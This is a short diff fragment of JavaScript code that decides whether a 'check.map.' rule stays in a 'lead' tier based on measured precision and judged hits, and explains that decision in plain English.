30
|
+
export const isMapCheck = (id) => id.startsWith('check.map.');
|
|
31
|
+
export function leadTierForCheck(id, t) {
|
|
32
|
+
if (!isMapCheck(id))
|
|
33
|
+
return null;
|
|
34
|
+
const e = t.rules[id] ?? { tier: 'lead', precision: null, judged: 0, evidence: 'not measured yet', date: null };
|
|
35
|
+
return e.tier === 'lead' ? e : null;
|
|
36
|
+
}
|
|
37
|
+
// Plain English reason for a lead record.
|
|
38
|
+
export function leadReason(e, t) {
|
|
39
|
+
if (e.precision === null || e.judged === 0)
|
|
40
|
+
return 'this rule has not been measured yet';
|
|
41
|
+
const m = `precision ${e.precision.toFixed(2)} on ${e.judged} judged hits (${e.evidence}, ${e.date})`;
|
|
42
|
+
const need = Math.max(t.min_judged, e.needs_judged ?? 0);
|
|
43
|
+
return e.judged < need ? `${m}, fewer than the ${need} needed to change its default` : `${m}, below ${t.threshold.toFixed(2)}`;
|
|
44
|
+
}
|